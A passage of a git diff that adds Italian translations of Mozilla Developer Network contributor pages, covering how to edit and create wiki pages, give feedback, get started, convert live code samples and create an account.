+ <dd class="landingPageList">MDN ti viene proposto dalla <a class="external" href="https://wiki.mozilla.org/MDN">community del Mozilla Developer Network</a>. Questi sono alcuni modi che utilizziamo per condividere le informazioni circa ciò che facciamo.</dd>
+</dl>
+
+<dl>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt class="landingPageList"><a href="/en-US/docs/MDN/Community/Conversations">Conversazioni nella community di MDN</a></dt>
+ <dd class="landingPageList">Il "lavoro" di MDN avviene sul sito MDN, ma la "community" appare anche in discussioni (di tipo asincrono) e chat e meeting (di tipo sincrono).</dd>
+ <dt class="landingPageList"><a href="/en-US/docs/MDN/Community/Working_in_community">Lavorare nella community</a></dt>
+ <dd class="landingPageList">Una parte interessante nel contribuire alla documentazione di MDN a qualsiasi livello  è capire come lavorare come parte della community di MDN. Questo articolo offre consigli per aiutarti a gestire la maggior parte delle interazioni sia con altri autori che con team di sviluppo.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/it/mdn/contribute/creating_and_editing_pages/index.html b/files/it/mdn/contribute/creating_and_editing_pages/index.html
new file mode 100644
index 0000000000..2ffa7888a4
--- /dev/null
+++ b/files/it/mdn/contribute/creating_and_editing_pages/index.html
@@ -0,0 +1,110 @@
+---
+title: 'creare., edizione paginaCreazione e modifica delle pagine'
+slug: MDN/Contribute/Creating_and_editing_pages
+translation_of: MDN/Contribute/Howto/Create_and_edit_pages
+---
+<div>{{MDNSidebar}}</div><p><span style="line-height: 1.5;">Modificare e creare una pagina sono le due attività più comuni per la maggior parte dei  <strong>COLLABORATORI MDN.  </strong>Questo articolo spiega come eseguire queste due operazioni.</span></p>
+
+<h2 id="Modificare_una_pagina_esistente">Modificare una pagina esistente</h2>
+
+<p>E' facile modificare-</p>
+
+<ul>
+ <li>Clicca il pulsante <strong>modifica</strong> nell'angolo in alto a destra della pagina.</li>
+ <li>La pagina si ricarica con le opzioni di formattazione in modo che tu possa aggiungere o cancellare informazioni direttamente nella pagina.</li>
+ <li>Puoi aggiungere paragrafi, cancellare testo, aggiungere titoli ed eseguire molte funzioni basilari della scrittura e della modifica.</li>
+</ul>
+
+<h3 id="Anteprima_delle_modifiche">Anteprima delle modifiche</h3>
+
+<p>Per osservare le tue modifiche-</p>
+
+<ul>
+ <li>Clicca il pulsante "Mostra cambiamenti" (all'interno delle funzioni di modifica) sopra il titolo della pagina.</li>
+ <li>Questo apre una pagina di anteprima che include le tue revisioni in una nuova finestra o etichetta.</li>
+ <li>Tutte le volte che premi questi bottone la pagina viene ricaricata con i tuoi ultimi cambiamenti.</li>
+</ul>
+
+<p>Attenzione! L'anteprima di una pagina <em>non salva</em> i tuoi cambiamenti, quindi ricorda di non chiudere la finestra in cui stai modificando.</p>
+
+<h3 id="Commenti_di_correzione">Commenti di correzione</h3>
+
+<p>Dopo aver visualizzato i cambiamenti, vorrai <em>salvare la tua revisione.</em> Prima di <strong>salvare,</strong> verfica i commenti di correzione nella finestra sotto la sezione del titolo e lascia un commento per informare gli altri collaboratori sul perchè hai effettuato qualche cambiamento. Per esempio, potresti aver aggiunto una nuova sezione, cambiato qualche parole per rendere la terminologia più appropriata, riscritto un paragrafo per renderlo più chiaro, oppure rimosso informazioni ridondanti.</p>
+
+<h3 id="Tags">Tags</h3>
+
+<p>Puoi <em>aggiungere o rimuovere etichette </em>che descrivono il contenuto della pagina e funzioni sotto la sezione di modifica della pagina. Visita <a href="/en-US/docs/MDN/Contribute/Tagging">Come taggare in modo appropriato una pagina</a> per avere informazioni su quali etichette applicare.</p>
+
+<h3 id="Revisione_necessaria">Revisione necessaria?</h3>
+
+<p>Se un esperto o un collaboratore esperto dovrebbe controllare le tue modifiche, puoi richiedere una revisione tecnica (per codice, API o tecnologie), una revisione editoriale (per forma, grammatica e contenuto), oppure una revisione della rappresentazione (per il codice KumaScript) facendo una spunta nel box prima di salvare.</p>
+
+<h3 id="Allegare_file">Allegare file</h3>
+
+<p>Se volessi <em>allegare </em><em>un file</em> ad una pagina esistente per aggiungere un'illustrazione oppure ulteriori chiarimenti, puoi farlo a fondo pagina.</p>
+
+<h3 id="Salvare_scartare_o_continuare_a_modificare">Salvare, scartare o continuare a modificare</h3>
+
+<p>Quando hai terminato di modificare e sei soddisfatto dell'anteprima, puoi <strong>salvare</strong> il tuo lavoro e i tuoi commenti cliccando<strong> "Salva cambiamenti"</strong> (in verde) a destra del titolo della pagina. Se cambi idea, puoi scartare le tue modifiche cliccando su <strong>"Scarta cambiamenti"</strong> (in rosso) a destra del titolo della pagina.</p>
+
+<p>Premendo <strong>invio </strong>nel campo commenti di revisione equivale a cliccare "Salva e continua a modificare".</p>
+
+<h2 id="Creare_una_nuova_pagina">Creare una nuova pagina</h2>
+
+<p>Se non sai dove inserire un nuovo articolo, <strong>non preoccuparti!</strong> Mettilo ovunque, noi lo troveremo e lo sposteremo nel posto giusto o lo aggiungeremo ad un contenuto esistente se è più sensato. Inoltre non preoccuparti di renderlo perfetto. Abbiamo aiutanti gnomi che saranno felici di migliorare il tuo contenuto.</p>
+
+<p>Ci sono alcuni modi di creare una nuova pagina:</p>
+
+<ul>
+ <li><a href="#Link_from_an_existing_page">Collegamento da una pagina esistente</a></li>
+ <li><a href="#New_page_without_link">Nuova pagina senza un link</a></li>
+ <li><a href="#Subpage_of_an_existing_page">Sottopagina di una pagina esistente</a></li>
+ <li><a href="#Clone_of_an_existing_page">Clone di una pagina esistente</a></li>
+</ul>
+
+<h3 id="Collegamento_da_una_pagina_esistente">Collegamento da una pagina esistente</h3>
+
+<ol>
+ <li>Inserisci il nome della nuova pagina ovunque abbia senso nel testo di una pagina esistente.</li>
+ <li>Evidenzia il nome e <strong>clicca l'icona Link</strong><strong> (<img alt="" src="https://developer.mozilla.org/files/3810/link-icon.png" style="height: 28px; width: 29px;">) </strong>nella barra degli strumenti di modifica. La finestra di dialogo <strong>"Update Link"</strong> si apre, con il testo evidenziato nel campo<strong> "Link To"</strong>.</li>
+ <li>"/en-US/docs/"  viene inserito di default all'inizio del campo URL. <em>Inserisci il nome</em> della pagina dopo "/en-US/docs/". (Il nome della pagina non deve essere lo stesso del link.)</li>
+ <li>Clicca OK per creare e inserire il link.</li>
+</ol>
+
+<p>Se la pagina non esiste ancora il link viene visualizzato in rosso. Se la pagina <em>esiste già, </em>il link viene visualizzato in blu. Se vuoi creare una nuova pagina, ma il titolo della pagina che vuoi utilizzare esiste già controlla prima se non sia meglio aiutare a modificare e migliorare la pagina esistente. Altrimenti pensa a un titolo diverso per la tua nuova pagina e creane uno. Fai riferimento alla <a href="https://developer.mozilla.org/Project:en/Page_Naming_Guide" title="Project:en/Page_Naming_Guide">guida per nominare le pagine </a>per linee guida.</p>
+
+<p>Per aggiungere un contenuto alla tua nuova pagina clicca nel link in rosso che hai appena creato (dopo aver salvato e chiuso l'editor). La nuova pagina si apre nella modalità di modifica così che potrai cominciare a scrivere. Fai riferimento alla sezione <a href="#Editing_an_existing_page">Modificare una pagina esistente</a> di questo articolo sull'utilizzo della modalità di modifica.</p>
+
+<h3 id="Nuova_pagina_senza_link">Nuova pagina senza link</h3>
+
+<p><em>Per creare una nuova pagina senza link da altre pagine</em>, inserisci un nome unico per la pagina nel campo URL del tuo browser. Per esempio, se inserisci:</p>
+
+<pre class="language-html">https://developer.mozilla.org/en-US/docs/FooBar</pre>
+
+<p>MDN crea una nuova pagina con il titolo "FooBar" e apre l'editor così che tu possa aggiungere il contenuto nella nuova pagina. Vedi la sezione <a href="#Editing_an_existing_page">Modificare una pagina esistente</a> di questo articolo per sapere come usare la modalità editor.</p>
+
+<h3 id="Sottopagina_di_una_pagina_esistente">Sottopagina di una pagina esistente</h3>
+
+<p>Per creare una pagina che sia sotto una pagina esistente nella gerarchia della pagina:</p>
+
+<ol>
+ <li>In una pagina "padre", clicca sulla voce di menu <strong>Advanced</strong> (l'icona ingranaggio nella toolbar) e clicca <strong>New sub-page</strong>. Un editor sarà aperto per la creazione di un nuovo documento.</li>
+ <li>Digita il titolo del documento nel campo <strong>Title</strong>.</li>
+ <li>Cambia il campo <strong>Slug</strong> se necessario (per esempio, se il titolo è molto lungo e tu vuoi una URL più breve). Questo campo è automaticamente riempito dall'editor, sostituendo con i caratteri undescores gli spazi nel titolo. In questo caso, puoi cambiare solo l'ultima parte della URL del documento.</li>
+ <li>Nel campo <strong>TOC</strong>, seleziona il livello di heading che vuoi che venga automaticamente visualizzato nella tabella dei contenuti per la pagina, oppure "No table of contents" se la pagina non ne contiene uno.</li>
+ <li>Scrivi il contenuto della pagina nel pannello dell'editor e salva le modifiche. Vedi la sezione <a href="#Editing_an_existing_page">Modificare una pagina esistente</a> di questo articolo per sapere come usare la modalità editor.</li>
+</ol>
+
+<h3 id="Clonare_una_pagina_esistente">Clonare una pagina esistente</h3>
+
+<p>Se esiste una pagina di cui vuoi usare il formato per una nuova, puoi "clonare" la pagina e quindi le modificare il contenuto.</p>
+
+<ol>
+ <li>Sulla pagina originale, clicca sulla voce di menu <strong>Advanced</strong>  (l'icona ingranaggio della toolbar) e clicca <strong>Clone this page</strong>. Un editor si editor si aprirà per creare un nuovo documento.</li>
+ <li>Cambia il <strong>Title</strong> della pagina come appropriato per il nuovo contenuto. Il campo <strong>Slug</strong> sarà modificato automaticamente quando cambierai il campo <strong>Title</strong>.</li>
+ <li>Se necessario, cambia la parte del path del campo <strong>Slug</strong>,  per inserire il nuovo documento una diversa parte della gerarchia del documento (nella maggior parte dei casi non è necessario, poiché la pagina clonata ha un contenuto simile all'originale, e perciò  dovrebbe essere posizionata nello stesso posto).</li>
+ <li>Nel campo <strong>TOC</strong>, seleziona il livello di heading che vuoi che sia automaticamente visualizzato nella tabella dei contenuti della pagina o "No table of contents" se la pagina non ne necessita uno.</li>
+ <li>Scrivi il contenuto di una pagina nel pannello di editor e salva le modifiche. Vedi la sezione <a href="#Editing_an_existing_page">Modificare una pagina esistemte</a> di questo articolo per conoscere come usare la modalità editor.</li>
+</ol>
+
+<p> </p>
diff --git a/files/it/mdn/contribute/feedback/index.html b/files/it/mdn/contribute/feedback/index.html
new file mode 100644
index 0000000000..a8e48e0e47
--- /dev/null
+++ b/files/it/mdn/contribute/feedback/index.html
@@ -0,0 +1,49 @@
+---
+title: Invia feedback su MDN
+slug: MDN/Contribute/Feedback
+tags:
+  - Documentazione
+  - Guida
+  - Italiano
+  - MDN
+translation_of: MDN/Contribute/Feedback
+---
+<div>{{MDNSidebar}}</div>
+
+<p>Benvenuto su MDN! Se hai dei suggerimenti<span class="seoSummary">, o hai dei problemi nell'utilizzare MDN, questo è il luogo giusto. Il fatto stesso che tu sia interessato nell'offrire feedback ti rende ancora più importante nella community di Mozilla, e ti ringraziamo in anticipo per il tuo interesse.</span></p>
+
+<p><span class="seoSummary">Hai diverse opzione per offrire la tua "saggezza"; questo articolo ti aiuterà in tal proposito.</span></p>
+
+<h2 id="Aggiorna_la_documentazione">Aggiorna la documentazione</h2>
+
+<p>Innanzitutto, se hai notato un problema con la documentazione, sentiti pure libero di correggerla tu stesso. Semplicemente <a href="https://developer.mozilla.org/it/MDN/Contribute/Howto/Create_an_MDN_account">accedi</a> utilizzando <a href="https://github.com/">Github</a>, premi un qualsiasi pulsante blu <strong>modifica </strong>per aprire l'<a href="https://developer.mozilla.org/it/MDN/Contribute/Editor">editor</a> ed entrare nel mondo dei contributori alla documentazione di MDN. Tutta la documentazione qui presente è una wiki, curata da un team di volontari e da dello staff pagato, perciò non essere timido: la tua grammatica non deve essere perfetta. Ci penseremo noi a pulirla nel caso tu dovessi fare un errore!</p>
+
+<p>Per maggiori informazioni riguardanti la collaborazione alla documentazione di MDN, guarda:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/it/docs/Project:Getting_started">Primi passi su MDN</a></li>
+ <li><a href="https://developer.mozilla.org/it/MDN/Contribute">Contribuire a MDN</a></li>
+ <li><a href="https://developer.mozilla.org/it/MDN/Contribute/Editor">Guida all'editor di MDN</a></li>
+</ul>
+
+<h2 id="Unisciti_alla_conversazione">Unisciti alla conversazione</h2>
+
+<p>Parla con noi! Ci sono diversi modi per metterti in contatto con altre persone che lavorano su MDN.</p>
+
+<h3 id="Chat">Chat</h3>
+
+<p>
+ </p><h3 id="Discussioni_Asincroni"><span class="short_text" id="result_box" lang="it"><span>Discussioni (Asincroni) </span></span></h3>
+
+
+<p><span id="result_box" lang="it"><span>Le discussioni a lungo termine si verificano sul nostro <a href="https://discourse.mozilla-community.org/c/mdn">forum di discussione MDN</a>.</span> <span>Puoi inviare al forum via e-mail a <a href="mailto://mdn@mozilla-community.org">mdn@mozilla-community.org</a>.</span> <span>Se si aggiunge al forum, puoi scegliere di avere notifiche sulle discussioni inviate anche via e-mail.</span></span></p>
+
+<h2 id="Segnala_un_problema">Segnala un problema</h2>
+
+<h3 id="Problemi_di_documentazione">Problemi di documentazione</h3>
+
+<p>Se noti un problema nella documentazione e non lo puoi aggiustare tu stesso per qualsiasi ragione, puoi <a href="https://github.com/mdn/sprints/issues/new?template=issue-template.md&amp;projects=mdn/sprints/2&amp;labels=user-report">segnalare il problema</a>! Puoi utilizzare questo form per qualsiasi problema riguardante la documentazione, sia esso una semplice correzione o una richiesta per del contenuto completamente nuovo. Come menzionato in precedenza, ti invitiamo a contribuire ai cambiamenti tu stesso, ma questa opzione è comunque a tua completa disponibilità.</p>
+
+<h3 id="Problemi_del_sito">Problemi del sito</h3>
+
+<p>Se incontri dei problemi con il sito, o se hai delle idee per il futuro di MDN, puoi <a href="https://bugzilla.mozilla.org/form.mdn">scrivere un ticket al team di sviluppo di MDN</a>.</p>
diff --git a/files/it/mdn/contribute/getting_started/index.html b/files/it/mdn/contribute/getting_started/index.html
new file mode 100644
index 0000000000..d76748a0dc
--- /dev/null
+++ b/files/it/mdn/contribute/getting_started/index.html
@@ -0,0 +1,95 @@
+---
+title: Primi passi su MDN
+slug: MDN/Contribute/Getting_started
+translation_of: MDN/Contribute/Getting_started
+---
+<div>{{MDNSidebar}}</div><div class="boxed translate-display">
+ <p id="What_is_MDN.3F"><span class="seoSummary">Siamo una comunità aperta di sviluppatori che stanno creando risorse per un Web migliore, indipendentemente da marchi, browser o piattaforme. Tutti possono contribuire. Ogni nuovo collaboratore ci rende più forti. Insieme possiamo continuare a guidare il processo di innovazione sul Web per il bene comune. E cominciamo da qui, da te.</span></p>
+ <p><span>Tutte le varie parti di MDN (documentazione, demo, il sito stesso) sono create da una comunità aperta di sviluppatori. Unisciti a noi!</span></p>
+ <h2 id="3_semplici_passi_per_contribuire_a_MDN"><span>3 semplici passi per contribuire a MDN</span></h2>
+ <p>MDN è un wiki, dove <strong>tutti</strong> possono aggiungere e modificare contenuti. Non è necessario essere programmatori o sapere tutto sulla tecnologia. Esistono molti compiti che necessitano di volontari, dai più semplici (revisione e correzione degli articoli) ai più complessi (scrivere la documentazione delle API).</p>
+ <p>Contribuire è facile e sicuro. Anche se fai errori è semplice sistemarli. Anche se non sai esattamente quale deve essere l'aspetto delle cose o la tua grammatica non è perfetta, non ti preoccupare! Abbiamo un gruppo di persone che ha il compito di assicurarsi che il contenuto di MDN sia il migliore possibile. Ci sarà sempre qualcuno pronto ad assicurarsi che il tuo lavoro sia ordinato e ben scritto. Condividi quello che sai.</p>
+ <h3 id="Passo_1_creare_un_account_su_MDN">Passo 1: creare un account su MDN</h3>
+ <p>Per iniziare a collaborare con MDN, devi avere un account su MDN. Per i dettagli leggi<a href="https://developer.mozilla.org/it/docs/MDN/Contribute/Howto/Create_an_MDN_account"> come creare un account</a>.</p>
+ <h3 id="Passo_2_scegli_un_compito_da_portare_a_termine">Passo 2: scegli un compito da portare a termine</h3>
+ <p>Ora che sei registrato e hai effettuato l'accesso, leggi le descrizioni dei vari tipi di compiti nella {{anch("Tipi_di_compiti_possibili", "lista qui sotto")}} e decidi quale ti attira di più. Puoi scegliere qualsiasi compito preferisci per iniziare a collaborare.</p>
+ <h3 id="Passo_3_esegui_il_compito">Passo 3: esegui il compito</h3>
+ <p>Una volta che hai deciso che tipo di compito vuoi eseguire, trova una pagina specifica, un esempio di codice ecc. su cui lavorare. E buon lavoro!</p>
+ <p>Non preoccuparti di farlo alla perfezione; altri collaboratori di MDN sono qui per aiutare a correggere gli errori che potresti commettere.  Se in corso d'opera hai qualche dubbio o bisogno di chiarimenti, vedi la pagina <a href="https://developer.mozilla.org/it/docs/MDN/Community">Comunità</a> per informazioni sulle mailing list e i canali di chat dove puoi trovare le risposte ai tuoi quesiti.</p>
+ <div class="note">
+  <p><strong>Nota:</strong> se vuoi fare qualche esperimento prima di affrontare un vero compito su MDN, puoi modificare la pagina<a href="https://developer.mozilla.org/it/docs/Sandbox"> Sandbox</a>. Per favore limita i tuoi esperimenti a questa pagina e non effettuare modifiche non necessarie alle altre pagine solo per vedere cosa succede; creeresti confusione che altri dovrebbero poi sistemare.</p>
+ </div>
+ <p>Quando hai portato a termine il compito che hai scelto, sentiti libero di scegliere un altro compito o scopri quali <a href="#Altre_cose_che_puoi_fare_su_MDN">altre cose puoi fare su MDN</a>.</p>
+ <h2 id="Tipi_di_compiti_possibili">Tipi di compiti possibili</h2>
+ <p>Esistono vari modi per collaborare a MDN a seconda delle tue capacità e interessi. Anche se alcuni compiti possono essere veramente impegnativi, sono disponibili anche molte attività più semplici. Molte di queste richiedono solo cinque minuti (o meno). Insieme ai compiti e a una breve descrizione, viene indicato anche il tempo approssimativamente necessario al loro completamento.</p>
+ <h3 id="Opzione_1_mi_piace_scrivere">Opzione 1: mi piace scrivere</h3>
+ <p>Puoi aiutarci a revisionare o modificare la documentazione corrente e applicarle le etichette corrette.</p>
+ <ul>
+  <li><a href="https://developer.mozilla.org/it/docs/MDN/Contribute/Howto/Set_the_summary_for_a_page">Scrivi l'introduzione di una pagina</a> (5-15 minuti)</li>
+  <li><a href="https://developer.mozilla.org/it/docs/Project:MDN/Contributing/How_to/Do_an_editorial_review">Effettua revisioni editoriali</a> (5–30 minuti)</li>
+  <li><a href="https://developer.mozilla.org/it/docs/MDN/User_guide/Writing#Editing_an_existing_page">Aggiorna un articolo esistente con nuove informazioni</a> (5 minuti-1 ora)</li>
+  <li><a href="/it/docs/Project:MDN/Contributing/How_to/Write_a_new_entry_in_the_Glossary">Scrivi un nuovo termine per il glossario</a> (15 minuti-1 ora)</li>
+  <li><a href="https://developer.mozilla.org/it/docs/MDN/User_guide/Writing#Adding_a_new_page">Scrivi un articolo su una nuova tecnologia o API</a> (30 minuti-2 ore)</li>
+  <li><a href="/it/docs/Project:MDN/Contributing/How_to/Write_an_article_to_help_learning_the_web">Scrivi un articolo per aiutare a imparare il Web</a> (1 ora-3 ore)</li>
+ </ul>
+ <div class="note">
+  <strong>Nota:</strong> se stai revisionando un articolo o ne stai scrivendo di nuovi ti chiediamo di leggere la <a href="https://developer.mozilla.org/it/docs/MDN/Contribute/Content/Style_guide">Guida di stile</a>. Questo ci aiuta ad assicurarci che lo stile degli articoli sia omogeneo.</div>
+ <h3 id="Opzione_2_mi_piace_programmare">Opzione 2: mi piace programmare</h3>
+ <p>Abbiamo bisogno di più esempi di codice! Puoi anche aiutare nello sviluppo della piattaforma del sito, <a href="https://developer.mozilla.org/it/docs/Project:MDN/Kuma">Kuma</a>!</p>
+ <ul>
+  <li><a href="https://developer.mozilla.org/it/docs/Project:MDN/Contributing/How_to/Convert_code_samples_to_be_live_">Converti gli esempi di codice perché siano "vivi"</a> (30 minuti)</li>
+  <li><a href="https://kuma.readthedocs.org/en/latest/installation-vagrant.html">Crea un ambiente di sviluppo per Kuma</a> (1 ora)</li>
+  <li><a href="https://github.com/mozilla/kuma#readme">Condividi le tue modifiche dei sorgenti di Kuma</a> (1 ora)</li>
+  <li><a href="https://developer.mozilla.org/it/demos/submit">Invia una nuova demo </a>(1 ora)</li>
+ </ul>
+ <h3 id="Opzione_3_mi_piace_sia_scrivere_che_programmare">Opzione 3: mi piace sia scrivere che programmare</h3>
+ <p>Abbiamo dei compiti che richiedono capacità sia tecniche che linguistiche, come ad esempio la scrittura di nuovi articoli, la revisione tecnica o l'adattamento dei documenti.</p>
+ <ul>
+  <li><a href="https://developer.mozilla.org/it/docs/Project:MDN/Contributing/How_to/Tag_JavaScript_pages">Etichetta le pagine su JavaScript </a>(5 minuti)</li>
+  <li><a href="https://developer.mozilla.org/it/docs/MDN/Promote">Promuovi MDN sul tuo sito</a> (5 minuti)</li>
+  <li><a href="https://developer.mozilla.org/it/docs/Project:MDN/Contributing/How_to/Do_a_technical_review">Effettua revisioni tecniche</a> (30 minuti)</li>
+  <li><a href="https://developer.mozilla.org/it/docs/Project:MDN/Contributing/How_to/Update_API_page_layout">Aggiorna il layout delle pagine delle API</a> (30 minuti)</li>
+  <li><a href="https://developer.mozilla.org/it/docs/MDN/Contribute/Creating_and_editing_pages#Creating_a_new_page">Scrivi un nuovo articolo su un argomento con cui hai familiarità</a> (1 ora o più)</li>
+  <li><a href="/it/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">Crea un esercizio interattivo per aiutare ad imparare il Web</a> (1 ora o più)</li>
+ </ul>
+ <h3 id="Opzione_4_voglio_MDN_tradotto_nella_mia_lingua">Opzione 4: voglio MDN tradotto nella mia lingua</h3>
+ <p>Tutto il lavoro di localizzazione e traduzione di MDN viene svolto dalla nostra fantastica comunità di volontari.</p>
+ <ul>
+  <li><a href="https://developer.mozilla.org/it/docs/MDN/Contribute/Localize/Translating_pages">Traduci le pagine</a> (2 ore)</li>
+  <li>Connettiti con gli altri traduttori presenti negli elenchi dei <a href="https://developer.mozilla.org/it/docs/MDN/Contribute/Localize/Localization_projects">Progetti di localizzazione</a> (30 minuti)</li>
+ </ul>
+ <h3 id="Opzione_5_ho_trovato_informazioni_sbagliate_ma_non_so_come_correggerle">Opzione 5: ho trovato informazioni sbagliate ma non so come correggerle</h3>
+ <p>Puoi segnalare problemi <a class="external external-icon" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Mozilla%20Developer%20Network">aprendo un bug riguardo la documentazione</a>. (5 minutes)</p>
+ <p>Usa questi valori per i campi richiesti:</p>
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><strong>Campo su Bugzilla</strong></td>
+    <td><strong>Valore</strong></td>
+   </tr>
+   <tr>
+    <td><code>product</code></td>
+    <td><a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Developer+Documentation">Developer Documentation</a></td>
+   </tr>
+   <tr>
+    <td><code>component</code></td>
+    <td>[scegli un'area appropriata all'argomento o "General" se non sei sicuro su quale sia quella corretta]</td>
+   </tr>
+   <tr>
+    <td><code>URL</code></td>
+    <td>La pagina in cui hai trovato il problema</td>
+   </tr>
+   <tr>
+    <td><code>Description</code></td>
+    <td>Il maggior numero possibile di informazioni per permetterci di replicare il problema e trovare informazioni utili alla sua risoluzione. Puoi includere nomi di persone ("chiedete a tizio o caio") o anche collegamenti web.</td>
+   </tr>
+  </tbody>
+ </table>
+ <h2 id="Altre_cose_che_puoi_fare_su_MDN">Altre cose che puoi fare su MDN</h2>
+ <ul>
+  <li><a href="https://developer.mozilla.org/it/docs/Project:Community">Unisciti alla comunità MDN</a>.</li>
+  <li><a href="https://developer.mozilla.org/it/profile">Compila il tuo profilo</a> per permettere agli altri di saperne di più su di te.</li>
+  <li>Scopri maggiori dettagli su come <a href="https://developer.mozilla.org/it/docs/MDN/Contribute">contribuire a MDN</a>.</li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/it/mdn/contribute/howto/convert_code_samples_to_be_live/index.html b/files/it/mdn/contribute/howto/convert_code_samples_to_be_live/index.html
new file mode 100644
index 0000000000..7c1fe93a6e
--- /dev/null
+++ b/files/it/mdn/contribute/howto/convert_code_samples_to_be_live/index.html
@@ -0,0 +1,33 @@
+---
+title: Come convertire esempi di codice per renderli "vivi"
+slug: MDN/Contribute/Howto/Convert_code_samples_to_be_live
+tags:
+  - Come fare
+  - Principiante
+translation_of: MDN/Contribute/Howto/Convert_code_samples_to_be_live
+---
+<div>{{MDNSidebar}}</div><p class="summary">MDN ha un sistema di "<a href="/en-US/docs/MDN/Contribute/Editor/Live_samples">esempi vivi</a>",  in cui il codice d'esempio mostrato nella pagina è utilizzato per mostrare immediatamente il risultato che si ottiene con quel codice. Comunque, molti articoli esistenti hanno esempi di codice che non sfruttano questo sistema e devono essere convertiti.</p>
+
+<p><span class="seoSummary">Gli esempi vivi, che permettono di vedere qual è il risultato di un esempio, rendono la documentazione più dinamica e istruttiva. Questa guida spiega come modificare gli esempi e aggiungere la funzionalità "live".</span></p>
+
+<dl>
+ <dt><strong>Dove c'è bisogno di farlo?</strong></dt>
+ <dd>Negli articoli con etichetta <a href="/en-US/docs/tag/NeedsLiveSample">NeedsLiveSample</a></dd>
+ <dt><strong>Cosa ho bisogno di sapere?</strong></dt>
+ <dd>
+ <ul>
+  <li>Conoscere i linguaggi HTML, CSS e/o JavaScript, a seconda del codice d'esempio.</li>
+  <li>Capacità nell'usare le macro <a href="/en-US/docs/MDN/Contribute/Tools/KumaScript">KumaScript</a> negli articoli di MDN.</li>
+ </ul>
+ </dd>
+ <dd><strong>Quali sono i passi per completare il compito?</strong></dd>
+ <dd>
+ <ol>
+  <li>Scegli un articolo dalla lista di quelli che sono etichettati con <a href="/en-US/docs/tag/NeedsLiveSample">NeedsLiveSample</a>, in cui il codice d'esempio usa una funzionalità che ti è familiare.</li>
+  <li>Converti il codice per renderlo "vivo".</li>
+  <li>Cancella qualsiasi codice o immagine che era usata in precedenza per mostrare il risultato dell'esempio.</li>
+ </ol>
+ </dd>
+</dl>
+
+<p>Per maggiori informazioni su come creare e modificare "esempi vivi", fai riferimento a <a href="/en-US/docs/MDN/Contribute/Editor/Live_samples">Utilizzare il sistema di esempi dal vivo.</a></p>
diff --git a/files/it/mdn/contribute/howto/create_an_mdn_account/index.html b/files/it/mdn/contribute/howto/create_an_mdn_account/index.html
new file mode 100644
index 0000000000..c6759dc479
--- /dev/null
+++ b/files/it/mdn/contribute/howto/create_an_mdn_account/index.html
@@ -0,0 +1,49 @@
+---
+title: Come creare un account su MDN
+slug: MDN/Contribute/Howto/Create_an_MDN_account
+tags:
+  - Documentazione
+  - Guide
+  - MDN
+  - Principianti
+  - Sviluppatori
+translation_of: MDN/Contribute/Howto/Create_an_MDN_account
+---
+<div>{{MDNSidebar}}</div>
+
+<p><span class="seoSummary">Per apportare qualsiasi modifica ai contenuti di MDN hai bisogno di un profilo MDN. Tranquillo, non hai bisogno di un profilo MDN se vuoi solo leggere e cercare in MDN! Questa semplice guida ti aiuta a creare un profilo MDN.</span></p>
+
+<div class="pull-aside">
+<div class="moreinfo">
+<p><strong>Perché MDN ha bisogno del mio indirizzo email?</strong><br>
+ <br>
+ Il tuo indirizzo email serve per recuperare l'account, oppure se gli amministratori di MDN hanno la necessità di contattarti in merito al tuo account o alla tua attività sul sito.<br>
+ <br>
+ Inoltre hai la possibilità di registrarti per ricevere le notifiche (come quando <a href="/en-US/docs/MDN/Contribute/Howto/Watch_a_page">una certa pagina è cambiata</a>) e messaggi (ad esempio, se decidici di unirti al nostro gruppo di beta testing, potresti ricevere email in merito alle nuove funzionalità che hanno bisogno di essere controllate).<br>
+ <br>
+ Il tuo indirizzo email non verrà mai visualizzato su MDN e sarà usato solo in accordo alla nostra <a href="https://www.mozilla.org/privacy/websites/">informativa sulla privacy</a>.</p>
+
+<div class="note">Se fai login tramite Github ed usi un indirizzo email "noreply" su Github, <em>non</em> riceverai i messaggi da MDN (comprese le notifiche quando ti registri alle pagine.)</div>
+</div>
+</div>
+
+<ol>
+ <li>In cima ad ogni pagina su MDN trovi un pulsante con etichetta <strong>Accedi</strong>. Muovi il mouse sul pulsante (o fai tap sullo stesso se usi un dispositivo mobile) per visualizzare una lista dei servizi di autenticazione che usiamo per accedere a MDN.</li>
+ <li>
+  <p>Seleziona il servizio che vuoi usare per accedere. Attualmente è disponibile solo GitHub. Nota che se usi GitHub, un link al tuo profilo GitHub verrà incluso nella tua pagina pubblica del profilo MDN.</p>
+ </li>
+ <li>
+  <p>Segui le richieste di GitHub per collegare il tuo account a MDN.</p>
+ </li>
+ <li>Quando il servizio di autenticazione ti riporta su MDN, ti verrà chiesto da MDN di inserire un nome utente ed un indirizzo email. <em>Il tuo nome utente sarà visualizzato pubblicamente per identificare il lavoro che hai svolto. Non usare il tuo indirizzo email come nome utente</em><strong>.</strong></li>
+ <li>Fai click su <strong>Crea nuovo profilo</strong>.</li>
+ <li>Se l'indirizzo email che hai indicato al punto 4 non è lo stesso che usi con il servizio di autenticazione, controlla la tua email e fai click sul link nell'email di conferma che ti abbiamo inviato.</li>
+</ol>
+
+<p>Fatto! Ora hai un account MDN e puoi immediatamente modificare le pagine!</p>
+
+<p>Puoi fare click sul tuo nome in cima ad ogni pagina MDN per vedere il tuo profilo pubblico. Da lì puoi fare click su <strong>Modifica</strong> per fare modifiche od aggiunte al tuo profilo.</p>
+
+<div class="note">
+<p>I nuovi nomi utenti non possono contenere spazi o il carattere "@". Ricordati che il tuo nome utente sarà visualizzato pubblicamente per identificare il lavoro che hai svolto!</p>
+</div>
diff --git a/files/it/mdn/contribute/howto/delete_my_profile/index.html b/files/it/mdn/contribute/howto/delete_my_profile/index.html
new file mode 100644
index 0000000000..182bc6a241
--- /dev/null
+++ b/files/it/mdn/contribute/howto/delete_my_profile/index.html
@@ -0,0 +1,24 @@
+---
+title: Come rimuovere il mio profilo
+slug: MDN/Contribute/Howto/Delete_my_profile
+translation_of: MDN/Contribute/Howto/Delete_my_profile
+---
+<div>{{MDNSidebar}}</div>
+
